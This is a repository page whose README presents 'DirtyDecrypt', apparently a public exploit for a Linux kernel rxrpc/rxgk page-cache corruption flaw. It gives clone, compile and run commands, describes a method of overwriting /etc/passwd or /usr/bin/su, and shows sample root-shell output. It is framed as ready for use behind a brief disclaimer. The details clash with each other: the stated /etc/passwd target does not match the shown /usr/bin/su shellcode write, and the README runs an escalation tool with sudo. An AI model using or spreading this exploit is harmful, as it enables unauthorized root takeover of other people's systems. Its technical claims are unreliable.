CVE-2026-31635

KO | EN

gitlite — search

#html #api #large-language-models #agent #containers #svg #typescript #terminal #video #markdown

(★ 9)

CVE-2026-31635

File Explorer

ZIP Download

CVE-2026-31635.c
README.md

# Use via CDN

jsDelivr

jsDelivr serves any public GitHub repository as a CDN with zero setup. Pick a version and a file to get a ready-to-paste link and snippet.

Version

File

Link

Example

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

**Linux Kernel Local Privilege Escalation via RXGK Page Cache Corruption**

![Version](https://img.shields.io/badge/Kernel-6.10+-red)
![Severity](https://img.shields.io/badge/Severity-High-critical)
![Exploit](https://img.shields.io/badge/Exploit-Public-brightgreen)

### **"DirtyDecrypt"** — Part of the 2026 "Dirty" family exploits

</div>

---

## 📖 **Overview**

**DirtyDecrypt** (CVE-2026-31635) is a **local privilege escalation** vulnerability in the Linux kernel's `rxrpc` subsystem (specifically the `rxgk` component).

It abuses a **missing Copy-on-Write (COW)** check during AES-CBC decryption, allowing an unprivileged user to corrupt page cache and achieve **arbitrary file writes**, leading to **root** access.

---

## ✨ **Features**

- ✅ Clean & well-commented C code
- ✅ User + Network namespace support
- ✅ Reliable page cache write primitive
- ✅ Targets `/etc/passwd` (blank root password)
- ✅ Easy to modify for SUID binaries or other targets
- ✅ Static compilation support

---

## 🛠️ **Affected Systems**

- **Vulnerable Kernels**: 6.10 ~ 6.13 (with `CONFIG_RXGK=y`)
- **Common Distros**: Fedora, Arch Linux, openSUSE Tumbleweed, custom kernels
- **Not Vulnerable**: Kernels before ~6.10 or those with `CONFIG_RXGK=n`

---

## 📋 **Requirements**

- Linux kernel with `CONFIG_RXGK` enabled
- Unprivileged local user access
- `AF_RXRPC` socket support
- `keyctl` utility (for rxrpc keys)

---

## 🚀 **Compilation**

```bash
git clone https://github.com/0xBlackash/DirtyDecrypt.git
cd DirtyDecrypt
gcc -O2 -static -pthread CVE-2026-31635.c -o DirtyDecrypt
```

---

## 💥 **Usage**

```bash
sudo ./DirtyDecrypt
```

**Expected successful output:**
```bash
=== rxgk pagecache write (DirtyDecrypt) ===
uid=1000 euid=1000

[*] writing shellcode to /usr/bin/su (96 bytes from offset 0)
    [========================================] 100% (XXX/96, YYYY fires)
[*] XXX fires in Z.Zs
[*] exec /usr/bin/su
[*] restore: cp /tmp/.su_12345 /usr/bin/su

# whoami
root

# id
uid=0(root) gid=0(root) groups=0(root)

# 
```

---

## 📁 **Repository Structure**

```bash
DirtyDecrypt/
├── CVE-2026-31635.c          # Main exploit
├── README.md                 # This file
├── Makefile                  # Optional
└── exploit.log               # Optional output log
```

---

## 🔬 **How It Works (Technical)**

1. Enters User + Network namespace
2. Adds RXGK key to keyring
3. Uses `AF_RXRPC` sockets + `splice()` to force page cache pages into the RXGK decryption path
4. Triggers in-place AES-CBC decryption without `skb_cow_data()`
5. Corrupts target file (`/etc/passwd`) byte-by-byte using sliding window technique
6. Blanks root password → spawns root shell

---

## ⚠️ **Disclaimer**

> This exploit is for **educational and authorized security testing** only.  
> Unauthorized use on systems you do not own is illegal.

---

## 📜 **Credits & Author**

- **Exploit Author**: Ashraf Zaryouh "0xBlackash"
- **Original Discovery**: Security researchers (2026)
- **PoC Version**: v2.1 (May 2026)

---

**⭐ Star this repo if it helped you!**

**Made with ❤️ for the research community**

</div>

CVE-2026-31635

Owner Repos

File Explorer

# Use via CDN

Was this content helpful?

Recent Feedback

CVE-2026-31635

Owner Repos

File Explorer

# Use via CDN

Was this content helpful?

Recent Feedback

Download README